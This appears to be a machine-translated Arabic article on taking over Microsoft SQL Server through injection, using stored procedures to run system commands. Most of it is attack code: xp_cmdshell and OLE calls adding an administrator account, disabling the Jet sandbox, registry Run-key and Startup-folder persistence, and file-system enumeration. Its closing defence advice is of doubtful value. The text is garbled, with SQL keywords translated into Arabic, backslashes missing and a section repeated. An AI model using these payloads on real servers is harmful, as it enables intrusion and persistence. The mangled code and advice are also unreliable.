SQL Server هي قاعدة بيانات تستخدم على نطاق واسع من قبل مواقع الويب الصغيرة والمتوسطة الحجم، نظرًا لوظائفها القوية، فقد تسببت أيضًا في العديد من المشكلات الأمنية. كانت هجمات حقن SQL شائعة في الصين لفترة طويلة، مما أدى إلى تدفق لا نهاية له من تقنيات التسلل لـ SQL Server نظرًا لأن SQL Server يدعم عبارات متعددة، أعتقد أن العديد من المتسللين نادرًا ما يستخدمون أساليب مثل تخمين أسماء الجداول عند إدخال SQL في SQL Server، ولكنهم يلجأون مباشرةً إلى استخدام الإجراءات والوظائف المخزنة في SQL Server للحصول على الأذونات بسرعة التركيز على الإجراءات والوظائف المخزنة في نظام SQL Server لتقديم هذه الاختراقات.
1. تنفيذ أوامر النظام
باستخدام الإجراءات المخزنة، يمكننا الحصول على الصدفة بسرعة وسهولة، مثل تنفيذ أوامر النظام، ويكون استدعاء ملحق التخزين كما يلي:
exec master..xp_cmdshell 'net user ray ray /add'
xp_cmdshell هو إجراء مخزن لأوامر النظام يأتي مع SQL Server افتراضيًا، يمكن فقط لدور خادم SYSADMIN تنفيذه.
باستخدام واجهة كائن OLE، يوفر SQL SERVER بعض الوظائف للوصول إلى كائنات OLE، وهي sp_OACREATE وsp_OAMethod. ويمكنك استخدامها لاستدعاء عناصر تحكم OLE والحصول على shell بشكل غير مباشر. استخدم SP_OAcreate لاستدعاء الكائن wscript. يتم تعيين shell للمتغير @shell، ثم يستخدم SP_OAMETHOD لاستدعاء تشغيل السمة لـ @shell لتنفيذ الأمر.
أعلن @shell INT
EXEC SP_OAإنشاء 'wscript.shell',@shell out
EXEC SP_OAMETHOD @shell,'run',null, 'net user ray ray /add'
تشغيل وضع الوصول المعزول بشكل افتراضي، لا يدعم محرك بيانات Jet عبارات SQL مثل تحديد shell ("شعاع المستخدم الصافي /add"). تنفيذ الأوامر أولاً، استخدم الإجراء المخزن xp_regwrite لإعادة كتابة السجل، ثم يستخدم OpenRowSet للوصول إلى ملف قاعدة بيانات ACCESS الذي يأتي مع النظام نفسه، ثم ينفذ عبارة SQL لتشغيل الأمر.
EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE'، 'SoftWareMicrosoftJet4.0 Engines'،'SandBoxMode'،'REG_DWORD'،0
حدد * من OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:windowssystem32iasias.mdb','select shell("net user ray ray /add")');
بالإضافة إلى ذلك، يمكنك أيضًا استخدام SQL Agent لتنفيذ الأوامر. بالطبع، يجب عليك أولاً فتح خدمة SQL Agent، حيث يمكننا أولاً استخدام xp_servicecontrol لفتح SQLSERVERAGENT، ثم إنشاء مهمة SQL مجدولة. ثم قم بتشغيل المهمة على الفور.
exec master.dbo.xp_servicecontrol 'ابدأ'،'SQLSERVERAGENT'
استخدم msdb exec sp_delete_job null,'x'
exec sp_add_job 'x'
exec sp_add_jobstep Null,'x',Null,'1','CMDEXEC','cmd /c Dir C:'
exec sp_add_jobserver Null,'x',@@servername exec sp_start_job 'x'
[قص الصفحة]
2. كتابة ملفات عشوائية لتنفيذ الأوامر
استخدم xp_regwrite لكتابة إدخال التسجيل وكتابة الأمر مباشرة ليتم تنفيذه في إدخال بدء تشغيل RUN.
EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftWindowscurrentversionrun','shell','REG_SZ','C:windowssystem32cmd.exe /c net user ray ray /add'
سجلات النسخ الاحتياطي لعناصر بدء التشغيل
يمكننا تمكين وضع الاسترداد الكامل لقاعدة البيانات، ثم إنشاء جدول جديد، وإدراج الأمر المراد نسخه احتياطيًا في السجل، وأخيرًا نسخ السجل احتياطيًا في ملف دفعي إلى مجلد بدء تشغيل المستخدم تتم إعادة تشغيل الجهاز.
تغيير مجموعة قاعدة البيانات msdb الاسترداد الكامل--
إنشاء جدول cmd (صورة)--
سجل النسخ الاحتياطي msdb إلى القرص = 'c:cmd1' مع init--
أدخل في قيم cmd (a) ()--
سجل النسخ الاحتياطي ISTO إلى القرص = 'C:Documents and SettingsAll Users"ابدأ" القائمةProgramsStartup1.bat'--
إسقاط الجدول cmd--
3. يمكن للمستخدمين الذين لديهم أذونات عشوائية تنفيذ الأوامر
في دور الخادم مع أي أذونات، يمكننا استخدام الماكرو OPENROWSET لتنفيذ الأوامر طالما أننا نعرف الحساب وكلمة المرور لدور SYSADMIN الخاص بالخادم.
حدد * من OPENROWSET('SQLoledb','uid=sa;pwd=admin;العنوان=127.0.0.1,7788;','set fmtonly off exec master..xp_cmdshell ''dir c:''')
[قص الصفحة]
4. الحصول على معلومات النظام الأخرى
دليل اجتياز
exec master.dbo.xp_dirtree 'c:'
الحصول على الدليل الفرعي
exec master.dbo.xp_subdirs 'c:'
قائمة أقسام النظام المتاحة
exec master.dbo.xp_availablemedia
تحديد ما إذا كان الدليل أو الملف موجودًا
exec master..xp_fileexist 'c:boot.ini'
5. هناك طرق للدفاع ضد حقن SQL
1. تعديل هيكل الجدول. قم بتعديل نوع بيانات حقل حساب المسؤول، وتغيير نوع النص إلى الحد الأقصى للحقل وهو 255 (في الواقع، إذا كنت تريد تكبيره، يمكنك اختيار نوع الملاحظة)، وقم بتعيين حقل كلمة المرور بنفس الطريقة.
2. تعديل الجدول. قم بتعيين الحساب بحقوق المسؤول في ID1، وأدخل عددًا كبيرًا من الأحرف الصينية، ويفضل أن يكون أكثر من 100 حرف.
3. ضع كلمة مرور المسؤول الحقيقية في أي موضع بعد ID2.
لقد أكملنا تعديل قاعدة البيانات من خلال الخطوات الثلاث المذكورة أعلاه.
هل اكتمل التعديل في هذا الوقت؟ في الواقع، ليس الأمر كذلك. يجب أن تفهم أن حساب ID1 الذي أنشأته هو في الواقع حساب ذو أذونات حقيقية. الآن أصبحت سرعة معالجة الكمبيوتر سريعة جدًا احسبه، هذا غير صحيح. أعتقد أن معظم الأشخاص قد فكروا بالفعل في طريقة ما. نعم، ما عليك سوى كتابة عدد الأحرف المسموح به في ملف صفحة تسجيل دخول المسؤول. حتى إذا استخدم الطرف الآخر كلمة مرور الحساب هذه التي تحتوي على آلاف الأحرف، فسيتم حظرها، ويمكن أن يتم حظر كلمات المرور الحقيقية غير مقيد.
[قص الصفحة]2. كتابة ملفات عشوائية لتنفيذ الأوامر
استخدم xp_regwrite لكتابة إدخال التسجيل وكتابة الأمر مباشرة ليتم تنفيذه في إدخال بدء تشغيل RUN.
EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftWindowscurrentversionrun','shell','REG_SZ','C:windowssystem32cmd.exe /c net user ray ray /add'
سجلات النسخ الاحتياطي لعناصر بدء التشغيل
يمكننا تمكين وضع الاسترداد الكامل لقاعدة البيانات، ثم إنشاء جدول جديد، وإدراج الأمر المراد نسخه احتياطيًا في السجل، وأخيرًا نسخ السجل احتياطيًا في ملف دفعي إلى مجلد بدء تشغيل المستخدم تتم إعادة تشغيل الجهاز.
تغيير مجموعة قاعدة البيانات msdb الاسترداد الكامل--
إنشاء جدول cmd (صورة)--
سجل النسخ الاحتياطي msdb إلى القرص = 'c:cmd1' مع init--
أدخل في قيم cmd (a) ()--
سجل النسخ الاحتياطي ISTO إلى القرص = 'C:Documents and SettingsAll Users"ابدأ" القائمةProgramsStartup1.bat'--
إسقاط الجدول cmd--
3. يمكن للمستخدمين الذين لديهم أذونات عشوائية تنفيذ الأوامر
في دور الخادم مع أي أذونات، يمكننا استخدام الماكرو OPENROWSET لتنفيذ الأوامر طالما أننا نعرف الحساب وكلمة المرور لدور SYSADMIN الخاص بالخادم.
حدد * من OPENROWSET('SQLoledb','uid=sa;pwd=admin;العنوان=127.0.0.1,7788;','set fmtonly off exec master..xp_cmdshell ''dir c:''')